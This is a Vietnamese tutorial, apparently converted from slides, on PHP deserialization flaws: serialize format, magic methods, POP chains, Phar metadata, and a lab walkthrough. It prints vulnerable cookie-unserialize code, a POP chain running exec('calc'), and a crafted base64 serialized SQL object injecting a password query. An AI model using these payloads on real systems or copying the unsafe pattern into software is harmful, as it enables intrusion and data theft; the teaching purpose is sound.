Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 11

1.

DESERIALIZATION

1. Serialization là gì?

hình 1: Sơ đồ serialization và deserialization.

Serialization là quá trình xử lý, chuyển đổi các thuộc tính của một đối tượng thành
một định dạng dữ liệu ví dụ như binary fomat, từ đó có thể lưu trên ổ đĩa, hoặc sử
dụng vào các mục đích cần thiết khác, còn quá trình Deserialization là quá trình
ngược lại
Xét vd: http://210.2.88.252/web1/index.php
Source: http://210.2.88.252/web1/source1.php
if (isset ($_COOKIE['leet_hax0r'])) {
    $sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
    try {
        if (is_array($sess_data) && $sess_data['ip'] != $_SERVE
R['REMOTE_ADDR']) {
            die('CANT HACK US!!!');
        }
    } catch(Exception $e) {
        echo $e;
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_
ADDR']))) ;

1
    setcookie ('leet_hax0r', $cookie, time () + (86400 * 30));
}

ta thấy: nếu chưa có cookie thì web sẽ tạo cookie bằng hàm serialize() và lưu trữ
trong trình duyệt.
cookie:
leet_hax0r=YToxOntzOjI6ImlwIjtzOjE0OiIxNC4xODcuMjMxLjEyNSI7fQ==

decode base64: a:1:{s:2:"ip";s:14:"14.x.x.x";}


Như vậy serialize sẽ tạo được chuổi sau base64 lưu trữ và sử dụng nó để gửi đến
server. Nếu ta deserialize ra: array(1) { ["ip"]=> string(14) "14.x.x.x" }
Tóm cái váy lại: serialize chuyển $ip=14.x.x.x => a:1:{s:2:"ip";s:14:"14.x.x.x";}
Và deserialize chuyển nó lại như đầu. Hết :D

2. Deserializatioin là gì?


Quá trình serialization trong PHP được hỗ trợ qua hàm serialize(), và thực hiện quá
trình deserialization thông qua hàm unserialize(). Định dạng của chuỗi sau khi thực
hiện serialization như sau:
 a: Định nghĩa tham số đã truyền là một mảng. Đi kèm với a là một giá trị số
nguyên chỉ định kích thước của mảng.
 i: Định nghĩa một giá trị số.
 b: Định nghĩa một giá trị boolean.
 s: Định nghĩa một chuỗi hằng, luôn được theo sau bởi một giá trị số khai báo
độ dài của chuỗi.
 S: Định nghĩa một chuỗi hằng trong định dạng được mã hóa.
 O: Đại diện cho một đối tượng, theo là độ dài của tên lớp và tên lớp. Sau đó,
theo sau là số lượng thuộc tính và các thuộc tính được xác định. Lưu ý rằng
một thuộc tính cũng có thể bao gồm một đối tượng khác với các thuộc tính
được xác định của nó.
Ta có được chuổi serialize: a:1:{s:2:"ip";s:14:"14.x.x.x";}
Trong đó:
[a:1:] là array với 1 phần tử

2
[s:2: "ip"] là string với 2 ký tự
[s:14: "x.x.x.x"] là string với 14 ký tự (x: ip tượng trưng)

3. NGUYÊN NHÂN SINH RA LỖI DESERIALIZATION


Để thực hiện khai thác thành công lỗ hổng này trên nền tảng PHP ta cần 2 điều kiện
cần.
Đối tượng cần tấn công phải có lớp sử dụng Magic method
Tìm được POP chain (PROPERTY ORIENTED PROGRAMMING), hay chính là
có thể tùy chỉnh được các đoạn code trong quá trình hàm unserialize() được gọi.

1.1. Magic method


Magic method là các function đặc biệt trong các lớp của PHP, tên của các function
này có hai dấu gạch dưới đứng trước, nó sẽ được gọi ngầm ở một sự kiện cụ thể, ví
dụ như: __sleep(), __toString(), __construc(), …. Phần lớn trong số các function
này sẽ không làm gì nếu không có sự khai báo, thiết lập của người lập trình.
Ví dụ ta có chương trình sau:

3
hình 2: ví dụ về magic method

hình 3: kết quả

4
Như vâ ̣y, các hàm magic method sẽ được gọi ngầm các magic method mà không
cần gọi trong chương trình.

1.2. POP chain (PROPERTY ORIENTED PROGRAMMING)


POP chain hiểu đơn giản là luồng thực thi của chương trình, khi chúng ta điều khiển
được tham số đầu vào thì sẽ ảnh hưởng đến các thuô ̣c tính của đối tượng.
Xét chương trình:

hình 4: ví dụ về POP chain

POP chain trong đoạn code trên: _destruct() => shutdown() => send() =>$callable
và $to

5
Nếu chúng ta điều khiển được $callable và $to thì sẽ thay đổi được luồng thực thi
chương trình.
Sơ đồ thực thi như sau:

hình 5: sơ đồ thực thi chương trình

 Đầu tiên chúng ta chèn một đối tượng “Mail” vào thuộc tính “$writer”
, tại dòng code số 8 sẽ gọi đến phương thức “shutdown()” của lớp
“Mail”
 Tương tự chèn một đối tượng “Sendmail” vào thuộc tính “$transport”
, tại đó dòng code số 18 sẽ gọi đến phương thức “send()” của lớp
“Sendmail
 Ta thay đổi giá trị của hai thuộc tính “$callable = exec” và “$to =
calc”

6
 Cuối cùng hàm call_user_func() được gọi như sau call_user_func
(“exec”, “calc”) và ứng dụng Calculator trong hệ điều hành Window
được tự động mở lên

1.3. Khái niêm


̣ Deserialization với tên đầy đủ Phar Deserialization.
Phar( File Phar) là mô ̣t gói định dạng cho phép gói nhiều các tâ ̣p mã nguồn các thư
viê ̣n, hình ảnh… vào mô ̣t tê ̣p
Cấu trúc:
Cấu trúc một Phar file gồm có:
 Stub: đơn giản chỉ là một file PHP và ít nhất phải chứa đoạn code sau: <?php
__HALT_COMPILER();
 A manifest (bảng kê khai): miêu tả khái quát nội dung sẽ có trong file
 Nội dung chính của file
 Chữ ký: để kiểm tra tính toàn vẹn (cái này là optional, có hay không cũng
được)
Điểm đáng chú ý nhất trong cấu trúc của một Phar file đó là phần manifest, theo
Manual của PHP thì trong mỗi một Phar file, phần manifest có chứa các thông tin
sau:

7
hình 6:manifest của một Phar

Ta quan tâm đến dòng được bôi vàng cho biết phần manifest này sẽ giữ các META-
DATA ĐÃ ĐƯỢC SERIALIZE. Một điều thú vị là nếu một filesystem function gọi
đến một Phar file thì tất cả các Meta-data trên sẽ được tự động unserialize
Danh sách các filesystem function có thể bị Deserialization:

Như vâ ̣y thì: nếu mà các Magic method được sử dụng để gọi đến các Filesystem
function thì rất có thể xảy ra deserialization.
Tóm lại thì để có thể xảy ra deserialization thì cần phải có các điều kiê ̣n như sau.
o Tìm được POP chain trong trong source code cần khai thác

8
o Đưa được Phar file vào đối tượng cần khai thác (thường là các magic
method hoă ̣c các hàm được gọi đến filesystem được chạy ngầm)
o Tìm được entry point, đó là những chỗ mà các filesystem function gọi
tới các Phar file do người dùng kiểm soát

2. PHÂN TÍCH DESERIALIZATION.


Source được build lại từ websec. http://210.2.88.252/web1/index.php
if (isset ($_COOKIE['leet_hax0r'])) {
    $sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
    try {
        if (is_array($sess_data) && $sess_data['ip'] != $_SERVE
R['REMOTE_ADDR']) {
            die('CANT HACK US!!!');
        }
    } catch(Exception $e) {
        echo $e;
    }
} else {
    $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_
ADDR']))) ;
    setcookie ('leet_hax0r', $cookie, time () + (86400 * 30));
}

code thực hiê ̣n tạo và lưu trữ cookie.


Khi ta thực hiê ̣n request với cookie:leet_hax0r thì ngoài hàm
$sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));

thì còn mô ̣t tính năng unserialize của filesystem function trong manifest của
metadata, vì trong manifest có 4 byte format serialize nên các format serialize sẽ
được decode ra.
Deserialization cookie,
leet_hax0r=YToxOntzOjI6ImlwIjtzOjE0OiIxNC4xODcuMjMxLjEyNSI7fQ==

ta được: a:1:{s:2:"ip";s:14:"14.x.x.x ";}


Xét đoạn code tạo serialize như sau:
<?php

class SQL {

9
public $query = 'SELECT password AS username FROM users WHERE id=1';

public $conn;

echo base64_encode(serialize(new SQL()));

?>

Serialize=> O:3:"SQL":2:{s:5:"query";s:49:"SELECT password AS username


FROM users WHERE id=1";s:4:"conn";N;}
Trong đó: [O:3:"SQL":2:] là class SQL
O là đối tượng 3 ký tự, có 2 ham số $query và $conn
Encode base64 serialize=>
leet_hax0r=TzozOiJTUUwiOjI6e3M6NToicXVlcnkiO3M6NDk6IlNFTEVDVCBw
YXNzd29yZCBBUyB1c2VybmFtZSBGUk9NIHVzZXJzIFdIRVJFIGlkPTEiO3M
6NDoiY29ubiI7Tjt9;

if (isset ($_COOKIE['leet_hax0r'])) {
    $sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
    try {
        if (is_array($sess_data) && $sess_data['ip'] != $_SERVE
R['REMOTE_ADDR']) {
            die('CANT HACK US!!!');
        }
    } catch(Exception $e) {
        echo $e;
    }

với đoạn check cookie này có tham số “ip” thì chương trình mới kiểm tra. Thành ra
nếu “query” thì nó sẽ bỏ qua và chạy xuống chương trình. Đoạn này filter không kỹ
Luồng chạy của chương trình

10
Biến query được gọi và gán giá trị id vào $query.

Chương trình chỉ gọi đến connect(), nhưng trong chương trình lại sử dụng
_destruct() để tự đô ̣ng execute() trước khi kết thúc.

Trong destruct() thì chương trình gọi đến mô ̣t filesystem function execute(). Tại đây
meta-data của Phar file sẽ tự đô ̣ng decode serialize và ghi đè nó với biến $query.
Như vâ ̣y $query=”<inject từ biến cookie đã serialize>” và thực hiên truy vẫn xuống
database.

11

You might also like